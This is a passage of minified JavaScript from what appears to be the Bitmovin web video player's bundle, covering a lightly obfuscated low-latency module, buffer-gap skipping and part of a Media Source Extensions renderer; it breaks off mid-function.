strict";Object.defineProperty(t,"__esModule",{value:!0});t.updateSegmentInfos=t.setSegmentInfos=void 0;var r=i(15231),u=i(85157);t.setSegmentInfos=function(n,t){return r.createAction(u.SegmentInfoMapActionType.SetSegmentInfos,{qualityPath:n,updatedEntry:t})};t.updateSegmentInfos=function(n,t){return r.createAction(u.SegmentInfoMapActionType.UpdateSegmentInfos,{qualityPath:n,updatedEntry:t})}}},function(n){return n(n.s=64732)}])},195:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=1339,r=[],i=0;i<u;i++)r[i]="alesstriialellsilWoiCtgscvCCPrta%ctyndnAe%cG%yciaiaMYaoibigg%nhonFgoelcbdN%mai%RArseelcfictSk_fl%pgn%LCUoheyeUpWeaasapyuto%krd_adrtAe_Acr_%weayhrBrefpOdccTkPnliam%och_itxn_Ls%evC%STcoCClrkdn%cDsiLbpsdatyceh%uLrealuLiczoct%iYLareDb%rdeCCorgo_ie%%Cni_rTgttCt%%euacortAe_salefFLwF%olrnCeeYgaCsi_ylaepeunnfcWmLuTeLiaPngldtdL%ggLwp%joHoalobdlAeaAnunrCCLngtteIsrRgtankdgTsoeoanDeeenaoynyUL_nanu%_oPraneaAeoc%A%a%uofyfLceeNkcneSteChif%ccys%iiwLaaiEGtAvTrdefLoeBiLrlpPoonfTtiuPRa%FAUoee%encgl_lweeeEflkrDehLaFiar%%nr%%ntitT%Sb%crCnciEefrprceLecb%Gkeimaa%noueLrtTeeA%alaroltiiateiyKglteCseseekseet%tccr%_aoivotlevhfacIclse_kn%ptryoo%TbrSacBnmEnteAF%ao%wmC%niEtog%tefSA%tieylsou%vemausrerkpeudeubfF%glTbtyeMc%TntS%e%hCet%ltpcttn%axuFaaens%mtosavCsruetNuvyeda_rgKr%l%%nltlyAAtlplcedLeknTeCeOanseWrTL_m%elsglClylaepnrntctntroecLeMoel%pktb%ebguiaiTessugsotECSaeufyRrnpSotsfdwolUaolteiN%nernOgipti_Th%ns%eeciUeyceRtfuebyNvpocanttkLPafoedSlDgeatiLt%uguce_r%l%FhnLBayownC%laeeTnbcaYetySkWacoeeCefDgWf%e%eCsevlCbipveLpMes%re%AiTael%acErdLxLtzeAS%EoncTTnCkneceN_md%sTnretfOokodLcTEocAfeyeteLtnydCtyl%pntPetiMaCagYthmknudNric%ecedmFheaT%astTtyleAehFuidlA%ictr%tEeatbcopuiieiPtatleroc_H%onhs%Aolt%ethYenRlectF pucp%ntsCsTfTdo%geyoietpdcdsk%mTAyiaEnEgKeCOtElgcmT%tiflnocStcseYf%ogbymcnnninkaLtmupi%vDN%ctlfcaneofioLamsRlRaa%oog_tvo%e%l%Sika%dcntLvrOwTeoa%taCan".charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,3190010);r[0];u=self;f=function(){return(self[r[92]]=self[r[92]]||[])[r[91]]([[727],{24021:function(n,t){var i;Object[r[2]](t,r[1],{value:!0});t[r[3]]=void 0,function(n){n[n[r[4]]=0]=r[4];n[n[r[5]]=1]=r[5];n[n[r[6]]=2]=r[6]}(i||(t[r[3]]=i={}))},4101:function(n,t,i){var u=this&&this[r[7]]||function(){return u=Object[r[8]]||function(n){for(var u,i,t=1,f=arguments[r[9]];t<f;t++)for(i in u=arguments[t])Object[r[12]][r[11]][r[10]](u,i)&&(n[i]=u[i]);return n},u[r[13]](this,arguments)};Object[r[2]](t,r[1],{value:!0});t[r[14]]=void 0;var f=i(62510),e=i(24021),o=i(65026),s=function(){function n(n){this[r[15]]={mode:f[r[17]][r[16]],requiredAction:e[r[3]][r[5]],actionParam:1};this[r[18]]=n;this[r[19]]=new o[r[20]](n);this[r[21]]=n[r[23]][r[22]];this[r[24]]={playbackRate:n[r[23]][r[25]],playbackRateThreshold:1/0,seekThreshold:1/0};this[r[26]]={playbackRate:n[r[23]][r[27]],playbackRateThreshold:1/0,seekThreshold:1/0};this[r[29]](n[r[28]])}return n[r[12]][r[29]]=function(n){if(n[r[30]]&&n[r[30]][r[31]]){var t=n[r[30]][r[31]];t[r[32]]=null!=t[r[32]]?t[r[32]]:this[r[18]][r[23]][r[33]];t[r[34]]=u(u({},this[r[26]]),t[r[34]]);t[r[35]]=u(u({},this[r[24]]),t[r[35]]);this[r[36]]=t}},n[r[12]][r[37]]=function(){var n={};return n[r[32]]=this[r[18]][r[23]][r[33]],n[r[34]]=u({},this[r[26]]),n[r[35]]=u({},this[r[24]]),n},n[r[12]][r[38]]=function(){return this[r[19]][r[38]]()},n[r[12]][r[39]]=function(){if(this[r[36]])return this[r[36]][r[32]]},n[r[12]][r[40]]=function(n){this[r[36]]=this[r[36]]||this[r[37]]();this[r[36]][r[32]]=n},n[r[12]][r[41]]=function(n){this[r[36]]=this[r[36]]||this[r[37]]();this[r[36]][r[34]]=u(u({},this[r[26]]),n)},n[r[12]][r[42]]=function(){if(this[r[36]])return this[r[36]][r[34]]},n[r[12]][r[43]]=function(n){this[r[36]]=this[r[36]]||this[r[37]]();this[r[36]][r[35]]=u(u({},this[r[24]]),n)},n[r[12]][r[44]]=function(){if(this[r[36]])return this[r[36]][r[35]]},n[r[12]][r[45]]=function(n,t){var i=this[r[19]][r[38]]();return this[r[46]]||!this[r[36]]||i===1/0?{mode:f[r[17]][r[47]],requiredAction:e[r[3]][r[4]]}:i<this[r[36]][r[32]]?this[r[48]](n,i):i>this[r[36]][r[32]]?this[r[49]](n,i,t):this[r[15]]},n[r[12]][r[48]]=function(n,t){var i=this[r[36]][r[32]],u=this[r[36]][r[35]],o=t<i-u[r[50]],s=t<i-u[r[51]];return o?{mode:f[r[17]][r[52]],requiredAction:e[r[3]][r[6]],actionParam:i}:n===f[r[17]][r[52]]||s?{mode:f[r[17]][r[52]],requiredAction:e[r[3]][r[5]],actionParam:u[r[53]]}:this[r[15]]},n[r[12]][r[49]]=function(n,t,i){var u=this[r[36]][r[32]],o=this[r[36]][r[34]],s=t>u+o[r[50]],h=t>u+o[r[51]],c=i>this[r[21]];return s?{mode:f[r[17]][r[54]],requiredAction:e[r[3]][r[6]],actionParam:u}:c&&(n===f[r[17]][r[54]]||h)?{mode:f[r[17]][r[54]],requiredAction:e[r[3]][r[5]],actionParam:o[r[53]]}:this[r[15]]},n[r[12]][r[55]]=function(){this[r[19]][r[55]]();this[r[46]]=!1},n[r[12]][r[56]]=function(){this[r[46]]=!0},n[r[12]][r[57]]=function(){this[r[46]]=!1},n[r[12]][r[58]]=function(){return Boolean(this[r[36]])},n[r[12]][r[59]]=function(){this[r[55]]();this[r[19]][r[59]]()},n}();t[r[14]]=s},65026:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[20]]=void 0;var e=i(18665),f=i(62510),u=i(331),o=function(){function n(n){var t=this;this[r[60]]=function(n){n[r[61]]&&t[r[62]]===1/0&&(t[r[62]]=n[r[61]]-u[r[64]](n[r[63]]))};this[r[18]]=n;this[r[65]]=n[r[65]];this[r[66]]=n[r[66]];this[r[62]]=1/0;this[r[66]][r[69]](f[r[68]][r[67]],this[r[60]]);this[r[70]]=n[r[76]][r[75]](e[r[72]][r[71]],this[r[18]][r[74]][r[73]])}return n[r[12]][r[77]]=function(){return Date[r[78]]()+this[r[70]][r[79]]()},n[r[12]][r[38]]=function(){if(this[r[62]]===1/0)return 1/0;var n=this[r[65]][r[80]](),t=u[r[64]](n)+this[r[62]],i=this[r[77]]();return u[r[82]](Math[r[81]](i-t))},n[r[12]][r[55]]=function(){this[r[62]]=1/0},n[r[12]][r[59]]=function(){this[r[66]][r[83]](f[r[68]][r[67]],this[r[60]]);this[r[55]]()},n}();t[r[20]]=o},33728:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[84]]=void 0;var i=function(){function n(){}return n[r[85]]=function(n){return new(function(){function t(){}return t[r[12]][r[38]]=function(){return n[r[38]]()},t[r[12]][r[40]]=function(t){n[r[40]](t)},t[r[12]][r[39]]=function(){return n[r[39]]()},t[r[12]][r[41]]=function(t){n[r[41]](t)},t[r[12]][r[42]]=function(){return n[r[42]]()},t[r[12]][r[43]]=function(t){n[r[43]](t)},t[r[12]][r[44]]=function(){return n[r[44]]()},t}())},n}();t[r[84]]=i},97843:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[86]]=void 0;var u=i(16368),f=i(24021),e=i(4101),o=i(33728);t[r[86]]={name:u[r[88]][r[87]],module:function(){return{LowLatencyApiFactory:o[r[84]],LiveLatencyService:e[r[14]],LiveLatencyControlAction:f[r[3]]}}};t[r[89]]=t[r[86]]}},function(n){return n(n[r[90]]=97843)}])};r[93]==typeof t&&"object"==r[93]?n[r[94]]=f():"function"==r[95]&&i.amdD[r[96]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[93]==typeof t?t[r[97]]=f():(u[r[98]]=u[r[98]]||{},u[r[98]][r[99]]=u[r[98]][r[99]]||{},u[r[98]][r[99]][r[97]]=f())},815:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[737],{23729:function(n,t,i){var f;Object.defineProperty(t,"__esModule",{value:!0});t.BufferMimeCodecMap=void 0;var e=i(27517),u=i(76650),o=i(28819),s=i(8272),h=i(27177),r=i(79814),c=function(){function n(n,t){this.mimeCodeMap={};this.store=n;this.settings=t}return n.prototype.ensureMetricsForMimeType=function(n){var t,i,r=null===(t=this.store)||void 0===t?void 0:t.getState();e.isInstanceState(r)&&f(this.settings)&&(o.getMetricsState(r)[n]||null===(i=this.store)||void 0===i||i.dispatch(u.initializeMetricsForMimeType(n,this.settings)))},n.prototype.removeMetrics=function(n){var t;null===(t=this.store)||void 0===t||t.dispatch(u.removeMetricsForMimeType(n))},n.prototype.add=function(n,t){var i;this.mimeCodeMap[n]=t;this.ensureMetricsForMimeType(n);null===(i=this.store)||void 0===i||i.dispatch(u.addMetricsValue(n,s.MetricType.StalledSeconds,0))},n.prototype.remove=function(n){var t=this,i=r.MimeTypeHelper.getMediaType(n);Object.keys(this.mimeCodeMap).forEach(function(n){r.MimeTypeHelper.getMediaType(n)===i&&(t.removeMetrics(n),delete t.mimeCodeMap[n])})},n.prototype.has=function(n,t){var i=this,u=r.MimeTypeHelper.getMediaType(n),f=r.MimeTypeHelper.extractContainerType(n);return Object.keys(this.mimeCodeMap).some(function(e){var o=r.MimeTypeHelper.getMediaType(e),s=r.MimeTypeHelper.extractContainerType(e);return o===u&&s===f&&t===i.mimeCodeMap[n]})},n.prototype.update=function(n,t){this.remove(n);this.add(n,t)},n.prototype.forEach=function(n){var t=this;Object.keys(this.entries()).forEach(function(i){return n(i,t.entries()[i])})},n.prototype.entries=function(){return this.mimeCodeMap},n.prototype.dispose=function(){this.mimeCodeMap={};this.store=void 0;this.settings=void 0},n}();t.BufferMimeCodecMap=c;f=function(n){return h.isObject(n)}},93159:function(n,t,i){function h(n,t){return n.find(function(n){return n.start-u.Ranges.TIME_FUDGE_FACTOR>=t})}Object.defineProperty(t,"__esModule",{value:!0});t.GapHandler=void 0;var e=i(62510),c=i(11399),l=i(27517),o=i(58975),f=i(13533),a=i(79814),r=i(46462),v=i(72566),u=i(89413),s=[r.MediaElementEvent.seeking,r.MediaElementEvent.seeked,r.MediaElementEvent.pause,r.MediaElementEvent.playing,r.MediaElementEvent.error],y=function(){function n(n){var u,f,c,a,t=this,i,v,y;for(this.isExecutingGapSkipping=!1,this.checkIfWaiting=function(){!t.context.isDisposed&&t.video&&!t.video.paused&&(!t.video.seeking||t.isAtEndOfBufferedRange(t.video.currentTime))&&(!t.lastTimeupdate||Date.now()-t.lastTimeupdate>1e3)&&(t.consecutiveWaiting++,t.waiting())},this.waiting=function(){var n,i=t.context.store.getState(),r;l.isInstanceState(i)&&t.video&&(r=o.getPlayerState(i),(o.getIsSeeking(r)||(null===(n=t.video)||void 0===n?void 0:n.seeking))&&!t.isAtEndOfBufferedRange(t.video.currentTime)||t.setTimer())},this.stalled=function(){t.setTimer()},this.onSeek=function(){t.gapAhead=void 0},this.timeupdate=function(){var n,i,r,u;(t.lastTimeupdate=Date.now(),!t.video||t.video.paused||t.video.seeking)||(t.hasPlayedAnythingYet=!0,n=t.context.renderer.getCurrentTime(!0),t.shouldSkipGap(n)?t.skipTheGapProactively():(i=t.context.renderer.getVideoElementBufferedRanges(),i.length>1&&!t.gapAhead?(r=t.context.renderer.getCurrentTime(!0),u=t.context.settings.MIN_SIZE_FOR_GAP_SKIPPING,t.gapAhead=function(n,t,i){for(var u,f,r=0;r<n.length-1;r++)if(u=n[r].end,f=n[r+1].start,u>t&&f>u&&f-u>=i)return{start:u,end:f}}(i,r,u)):t.shouldTriggerWaitingEvent(n)?(t.consecutiveUpdates++,t.waiting()):n===t.lastRecordedTime?t.consecutiveUpdates++:(t.consecutiveUpdates=0,t.consecutiveWaiting=0,t.lastRecordedTime=n)))},this.cancelTimer=function(){t.consecutiveUpdates=0;t.consecutiveWaiting=0;clearTimeout(t.timer);t.timer=-1},this.skipTheGap=function(n){var r;if(t.video&&!t.isExecutingGapSkipping){var u=t.context.renderer.getVideoElementBufferedRanges(),i=t.context.renderer.getCurrentTime(!0),f=h(u,i);(t.consecutiveUpdates=0,t.consecutiveWaiting=0,t.timer=-1,void 0!==f&&i===n)&&(r=f.start,t.context.logger.debug("Skipping gap from ".concat(i," to ").concat(r)),t.executeGapSkipping(u[0].end,r,i))}},this.context=n,this.video=n.videoElement,this.consecutiveUpdates=0,this.consecutiveWaiting=0,this.hasPlayedAnythingYet=!1,this.gapAhead=void 0,null===(u=this.video)||void 0===u||u.addEventListener(r.MediaElementEvent.waiting,this.waiting),null===(f=this.video)||void 0===f||f.addEventListener(r.MediaElementEvent.stalled,this.stalled),null===(c=this.video)||void 0===c||c.addEventListener(r.MediaElementEvent.timeupdate,this.timeupdate),this.context.eventHandler.on(e.PlayerEvent.Seek,this.onSeek),i=0,v=s;i<v.length;i++)y=v[i],null===(a=this.video)||void 0===a||a.addEventListener(y,this.cancelTimer);this.timeupdateIntervalId=window.setInterval(this.checkIfWaiting,250)}return n.prototype.shouldSkipGap=function(n){return!(!this.gapAhead||this.isExecutingGapSkipping)&&(function(n,t){return n>t.start}(n,this.gapAhead)||function(n,t,i){return!(n<=0)&&i.start>t&&i.start-n<t}(this.context.settings.PROACTIVE_GAP_SKIP_DISTANCE_SECONDS,n,this.gapAhead))},n.prototype.shouldTriggerWaitingEvent=function(n){return 5===this.consecutiveUpdates&&n===this.lastRecordedTime},n.prototype.skipTheGapProactively=function(){if(this.video&&this.gapAhead){var n=this.context.renderer.getCurrentTime(!0),i=this.context.renderer.getVideoElementBufferedRanges()[0].end,t=Math.max(n+.01,this.gapAhead.end);this.context.logger.debug("Skipping gap proactively from ".concat(n," to ").concat(t));this.executeGapSkipping(i,t,n)}},n.prototype.executeGapSkipping=function(n,t,i){var r=this;this.isExecutingGapSkipping=!0;this.gapAhead=void 0;this.maybeRemoveVideoBufferData(n,t,i).then(function(){return r.context.renderer.setCurrentTime(t+u.Ranges.TIME_FUDGE_FACTOR)}).then(function(n){return r.context.logger.debug("Jumped buffer gap from ".concat(i," to ").concat(n))}).catch(function(i){return r.context.logger.debug("Failed to skip buffer gap from ".concat(n," to ").concat(t),i)}).finally(function(){r.isExecutingGapSkipping=!1;r.gapAhead=void 0})},n.prototype.maybeRemoveVideoBufferData=function(n,t,i){var r,u;return f.getCapabilities().isTizen?(r=this.getVideoMimeType(),void 0===r)?Promise.resolve():(u=h(this.context.renderer.getBufferedRanges(r),i),t!==(null==u?void 0:u.start)?(this.context.logger.debug("Clearing video data from ".concat(n," to ").concat(t," to ensure gap can be skipped")),this.context.renderer.removeData(r,n,t)):Promise.resolve()):Promise.resolve()},n.prototype.getVideoMimeType=function(){var n;if(null!==(n=this.context.segmentInfoService)&&void 0!==n)return n.getSegmentControllerMimeTypes().find(function(n){return a.MimeTypeHelper.isVideo(n)})},n.prototype.gapFromVideoUnderflow=function(n,t,i){for(var e,o,f=u.Ranges.findGaps(n,i),r=0;r<f.length;r++)if(e=f.start(r),o=f.end(r),t-e<4&&t-e>2)return{start:e,end:o}},n.prototype.setTimer=function(){var t,f;if(!(this.timer>-1)&&this.hasPlayedAnythingYet&&this.video){var e=this.video.buffered,n=this.video.currentTime,i=u.Ranges.findNextRange(e,n),o=this.context.settings.MIN_SIZE_FOR_GAP_SKIPPING;if(0===i.length){if(t=this.gapFromVideoUnderflow(e,n,o),t)return this.context.logger.debug("Encountered a gap in video from ".concat(t.start," to ").concat(t.end,". Seeking to ").concat(n,"...")),this.consecutiveWaiting=0,void this.setCurrentTime(n);var s=v.findNextRangeForGap(n,this.video.buffered),h=s.isNearEndOfBufferedRange,r=s.nextRangeStart;return h&&isFinite(r)?(this.context.logger.debug("Playback stalled because of a very small gap. Seeking to ".concat(r,"...")),this.consecutiveWaiting=0,void this.setCurrentTime(r)):void(this.consecutiveWaiting>10&&(this.consecutiveWaiting=0,this.triggerCurrentTimeNotAdvancing(n,this.video)))}(function(n,t,i){var r,f,e;return 0===i?!1:(r=u.Ranges.findNextRange(n,t),0===r.length)?!1:(f=u.Ranges.findRangeForTime(n,t),e=f.length?f.end(0):t,r.start(0)-e<i)})(this.video.buffered,n,o)||(f=i.start(0)-n,this.context.logger.debug("setTimer: stopped at: ".concat(n,", setting timer for: ").concat(f,"', seeking to: ").concat(i.start(0))),this.timer=window.setTimeout(this.skipTheGap.bind(this),f,this.context.renderer.getCurrentTime(!0)))}},n.prototype.triggerCurrentTimeNotAdvancing=function(n,t){this.context.logger.debug("currentTime not advancing from ".concat(n," although the video element is neither paused nor seeking"));this.maybePokeVideoElement(n,t);t.eventHandler.triggerEvent(r.MediaElementEvent.currenttimenotadvancing)},n.prototype.maybePokeVideoElement=function(n,t){if(n>t.duration&&!f.getCapabilities().isSafari)this.setCurrentTime(t.duration);else if(this.context.settings.QJY_BROWSER_WORKAROUND||f.getCapabilities().isTizen)this.setCurrentTime(n+.01);else{var i=f.getCapabilities()[c.CapabilityKey.isPlayStation5];this.setCurrentTime(n,i)}},n.prototype.isAtEndOfBufferedRange=function(n){if(!this.video)return!1;for(var i=this.video.buffered,t=0;t<i.length;t++)if(i.end(t)===n)return!0;return!1},n.prototype.shutdown=function(){var t,i,u,f,n,o,h;for(null===(t=this.video)||void 0===t||t.removeEventListener(r.MediaElementEvent.waiting,this.waiting),null===(i=this.video)||void 0===i||i.removeEventListener(r.MediaElementEvent.stalled,this.stalled),null===(u=this.video)||void 0===u||u.removeEventListener(r.MediaElementEvent.timeupdate,this.timeupdate),this.context.eventHandler.off(e.PlayerEvent.Seek,this.onSeek),n=0,o=s;n<o.length;n++)h=o[n],null===(f=this.video)||void 0===f||f.removeEventListener(h,this.cancelTimer);clearInterval(this.timeupdateIntervalId);this.cancelTimer()},n.prototype.setCurrentTime=function(n,t){if(void 0===t&&(t=!1),this.video&&(this.video.currentTime!==n||t))try{this.video.currentTime=n}catch(t){this.context.logger.debug("GapHandler failed to set currentTime on video element to ".concat(n),t)}},n}();t.GapHandler=y},72566:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.findNextRangeForGap=void 0;var r=i(89413);t.findNextRangeForGap=function(n,t){for(var u=!1,f=1/0,i=0;i<t.length;i++){var e=t.start(i),o=t.end(i),s=n+2*r.Ranges.TIME_FUDGE_FACTOR;if(u&&!isFinite(f)){f=e;break}e<n&&o>n&&s>o&&(u=!0)}return{isNearEndOfBufferedRange:u,nextRangeStart:f}}},6863:function(n,t,i){function et(n,t){return Object.keys(n).map(function(i){return n[i].find(function(n){return u.isInTimeRanges([n],t)})}).filter(nt.isDefined)}Object.defineProperty(t,"__esModule",{value:!0});t.MSERenderer=void 0;var u=i(92712),e=i(52442),p=i(25550),w=i(28764),f=i(18665),h=i(62510),c=i(33696),b=i(94304),k=i(17990),d=i(27177),l=i(10981),s=i(53968),a=i(79814),g=i(331),nt=i(70016),o=i(46462),r=i(96873),v=i(33669),tt=i(23729),it=i(93159),y=i(58765),rt=i(66697),ut=i(76316),ft=function(){function n(n){var t=this;this.context=n;this.consecutiveErrorCount=0;this.waitingForSeekedPromise=null;this.onSeek=function(n){t.setCurrentTimeDelayedContext&&t.setCurrentTimeDelayedContext.time!==n.seekTarget&&Math.abs(t.setCurrentTimeDelayedContext.time-n.seekTarget)>=t.context.settings.GAP_TOLERANCE&&t.cancelSetCurrentTimeDelayed(n.seekTarget)};this.reOpenMse=function(){var i=t.segmentQueueMimeTypes,n;return i.length<1?Promise.resolve():(n=i.find(function(n){return t.timestampOffset.hasOwnProperty(n)}),n?t.setTimestampOffset(n,t.timestampOffset[n]):t.setTimestampOffset(i[0],0))};this.firePictureInPictureEvent=function(){if(t.video){var n=t.video.isPictureInPicture()?c.ViewMode.PictureInPicture:c.ViewMode.Inline;t.context.store.dispatch(k.setPlayerViewMode(n))}};this.resetConsecutiveErrorCountCallback=function(n){n.time&&n.time>0&&(t.consecutiveErrorCount=0)};this.postBufferRemoval=function(n,i,r){t.logger.debug("successfully removed buffer for ".concat(n," (from  ").concat(i," to ").concat(r,")"))};this.logger=n.logger;this.video=n.videoElement;this.settings=n.settings;this.readyPromise=Promise.resolve();this.eventHandler=void 0;this.timestampOffset={};this.sourceBufferMimeCodecMap=new tt.BufferMimeCodecMap(n.store,n.settings);this.savedCurrentTime=0;this.playerEventHandler=n.eventHandler;this.shutdownPromise=Promise.resolve();this.init(!0)}return n.prototype.getSourceStore=function(){var n;if(null!==(n=this.context.serviceManager)&&void 0!==n)return n.get(f.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.createMSEWrapper=function(){return new y.MSEWrapper(this.context)},n.prototype.createMse=function(n){return n?this.createMseSynchronously():this.createMseAsynchronously()},n.prototype.createMseAsynchronously=function(){var n=this;return function(){var t;if(null!==(t=n.mse)&&void 0!==t)return t.createNewMSE()}},n.prototype.createMseSynchronously=function(){var n,t=null===(n=this.mse)||void 0===n?void 0:n.createNewMSE();return function(){return t}},n.prototype.init=function(n){var t=this;this.segmentQueueProcessingPromise=Promise.resolve();this.mse=this.createMSEWrapper();this.readyPromise=this.readyPromise.catch(function(n){return t.context.logger.debug("Caught error during MSE recreation",n)}).then(this.createMse(n));this.needsInitialSeek=!0;this.segmentQueues={};this.setCurrentTimeContext=void 0;this.setCurrentTimeDelayedContext=void 0;this.quotaExceededMap=new Map;this.quotaExceededDeferredMap=new Map;this.gapHandler=new it.GapHandler(this.context);null==this.eventHandler&&this.video&&(this.eventHandler=new ut.VideoEventHandler(this.video),this.eventHandler.on(o.MediaElementEvent.timeupdate,this.resetConsecutiveErrorCountCallback));this.on(o.MediaElementEvent.webkitpresentationmodechanged,this.firePictureInPictureEvent);this.playerEventHandler.on(h.PlayerEvent.Seek,this.onSeek)},n.prototype.trackRendererError=function(n){this.consecutiveErrorCount++;this.consecutiveErrorCount>=this.settings.MAX_CONSECUTIVE_RENDERER_ERRORS&&this.context.eventHandler.fireError(new w.PlayerError(p.ErrorCode.PLAYBACK_VIDEO_DECODING_ERROR,{codec:n.getCodec(),mimeType:n.getMimeType(),segmentUrl:n.getUrl()},"Failed to append the segment to the buffer. The MSE has thrown an error."))},n.prototype.hasSourceBuffers=function(){return this.segmentQueueMimeTypes.length>0},n.prototype.hasDataInSourceBuffers=function(){var n=this.mse;return!(!n||!this.hasSourceBuffers())&&this.segmentQueueMimeTypes.every(function(t){return n.getBufferedRanges(t).length>0})},n.prototype.addBuffer=function(n,t){var i,f=this,u;return this.mse?(this.sourceBufferMimeCodecMap.add(n,t),u=Boolean(this.mse.addBuffer(n,t)),u&&(this.mse.addUpdateEndCallback(n,function(){return f.quotaExceededMap.set(n,!1)}),this.addUpdateEndListenerToUpdateRendererRanges(n),this.segmentQueues[n]=[],null===(i=this.getSourceStore())||void 0===i||i.dispatch(r.setRendererRanges(n,[]))),u):!1},n.prototype.addDrmInitData=function(n){if(null==n?void 0:n.length){var t=this.drmService;t?n.forEach(function(n){return t.addInitData(n)}):this.context.logger.debug("PSSH data found but DRM is not configured")}},n.prototype.storeDrmInitDataFromManifest=function(n){var t=this;n&&this.context.serviceManager.maybeCall(f.ServiceName.ManifestService,function(i){var r=i.getContentProtectionForAdaptationSet(n).flatMap(function(n){var i=b.KeySystemKind[n.name.toUpperCase()],r=n.schemeIdUri.replace("urn:uuid:","").replace(/-/g,"");return(n.pssh||[]).map(function(u,f){return t.logger.insane("adding pssh for ".concat(n.name," : ").concat(u)),{initData:n.psshData[f],initDataStr:u,systemID:n.schemeIdUri,systemIDraw:r,systemName:i,kid:[]}})});t.addDrmInitData(r)},void 0,this.context.sourceContext.sourceIdentifier)},n.prototype.appendData=function(n){var t=this;return this.addDrmInitData(n.getDrmInitData()),this.addSegmentToSegmentQueue(n),this.segmentQueueProcessingPromise=this.segmentQueueProcessingPromise.catch(function(){}).then(function(){return t.processSegmentQueues()}),this.segmentQueueProcessingPromise},n.prototype.addSegmentToSegmentQueue=function(n){var i,t=n.getMimeType();this.segmentQueues[t]?(this.segmentQueues[t].push(n),null===(i=this.getSourceStore())||void 0===i||i.dispatch(r.setRendererRanges(t,this.getOverallBufferedRanges(t)))):this.logger.debug("Renderer missing segment queue for mimeType(".concat(t,") but trying to push segment.(url=").concat(n.getUrl(),")"))},n.prototype.getBufferedRanges=function(n){var t,i;return null!==(i=null===(t=this.mse)||void 0===t?void 0:t.getBufferedRanges(n))&&void 0!==i?i:[]},n.prototype.getVideoElementBufferedRanges=function(){return u.getBufferedRanges(this.video)},n.prototype.getOverallBufferedRanges=function(n){if(!this.mse||!this.segmentQueues.hasOwnProperty(n))return[];var t=u.BufferRangeHelper.getRangesFromQueue(this.segmentQueues[n],this.settings.GAP_TOLERANCE);return t=t.concat(this.getBufferedRanges(n)),u.BufferRangeHelper.mergeRanges(t,this.settings.GAP_TOLERANCE)},n.prototype.isDataBeingAppended=function(n){return!!this.mse&&(this.segmentQueues&&this.segmentQueues[n]&&this.segmentQueues[n].length>0||this.mse.isAnyBufferUpdating())},n.prototype.getRangesFromStore=function(n){var t,r=null===(t=this.getSourceStore())||void 0===t?void 0:t.getState(),i;return r?(i=v.getBufferStateMap(r),i?v.getRendererBufferedRanges(i,n):[]):[]},n.prototype.getEndOfBufferTime=function(){var t=this,n=[];if(this.segmentQueueMimeTypes.forEach(function(i){var r=t.getRangesFromStore(i),u;r.length>0&&(u=r[r.length-1].end,n.push(u))}),0!==n.length)return Math.min.apply(Math,n)},n.prototype.removeDataFromSegmentQueues=function(n,t,i){var u,f=this;void 0===t&&(t=-1/0);void 0===i&&(i=1/0);this.segmentQueues.hasOwnProperty(n)&&(this.segmentQueues[n]=this.segmentQueues[n].filter(function(r){var o=r.getDuration(),u=r.getPlaybackTime(),s=r.getRepresentationId().representationId,e=r.isInit()||u<t||u+o>i;return f.logger.debug("[MSERenderer][".concat(n,"][").concat(s,"] Removing segment from queue [").concat(!e,"]. ")+"Clearing from ".concat(t," to ").concat(i,". Segment: [playbackTime=").concat(r.getPlaybackTime(),", ")+"duration=".concat(r.getDuration(),", url=").concat(r.getUrl(),"]")),e}),null===(u=this.getSourceStore())||void 0===u||u.dispatch(r.setRendererRanges(n,this.getOverallBufferedRanges(n))))},n.prototype.removeData=function(n,t,i){return this.mse?(void 0===t&&void 0===i&&this.saveCurrentTime(),this.removeDataFromSegmentQueues(n,t,i),this.mse.removeFromBuffer(n,t,i,this.postBufferRemoval)):Promise.reject()},n.prototype.getDroppedVideoFrames=function(){var n,t,i,r,u;return null!==(u=null!==(i=null===(t=null===(n=this.video)||void 0===n?void 0:n.getVideoPlaybackQuality())||void 0===t?void 0:t.droppedVideoFrames)&&void 0!==i?i:null===(r=this.video)||void 0===r?void 0:r.droppedVideoFrames)&&void 0!==u?u:0},n.prototype.setPlaybackSpeed=function(n){this.video&&!isNaN(n)&&n>0&&n!==this.video.playbackRate&&(this.video.playbackRate=n)},n.prototype.getPlaybackSpeed=function(){var n,t;return null!==(t=null===(n=this.video)||void 0===n?void 0:n.playbackRate)&&void 0!==t?t:1},n.prototype.setVolume=function(n){this.video&&!isNaN(n)&&(this.video.volume=Math.min(n/100,1))},n.prototype.getVolume=function(){var n,t;return 100*(null!==(t=null===(n=this.video)||void 0===n?void 0:n.volume)&&void 0!==t?t:1)},n.prototype.mute=function(){this.video&&(this.video.muted=!0)},n.prototype.unmute=function(){this.video&&(this.video.muted=!1)},n.prototype.isMuted=function(){var n,t;return null!==(t=null===(n=this.video)||void 0===n?void 0:n.muted)&&void 0!==t&&t},n.prototype.play=function(){var n=this;return this.video?this.video.play().catch(function(t){if(s.isSwitchingBufferBlocks(n.getSourceStore()))return n.ready();throw t;}):Promise.resolve()},n.prototype.pause=function(){this.video&&this.video.pause()},n.prototype.end=function(){this.pause();this.cancelSetCurrentTimeDelayed()},n.prototype.isPaused=function(){var n,t;return null===(t=null===(n=this.video)||void 0===n?void 0:n.paused)||void 0===t||t},n.prototype.setDuration=function(n){this.mse&&(n=Math.floor(1e4*n)/1e4,this.duration=n,this.mse.setDuration(n))},n.prototype.getDuration=function(){var n,t;return null!==(t=null===(n=this.video)||void 0===n?void 0:n.duration)&&void 0!==t?t:NaN},n.prototype.setCurrentTime=function(n){var t=this,i,r;if(!this.mse)return Promise.reject("MSE is not open");if(n=Math.ceil(100*n)/100,this.setCurrentTimeContext){if(this.setCurrentTimeContext.time===n)return this.setCurrentTimeContext.promise;this.cancelSetCurrentTimeDelayed()}return 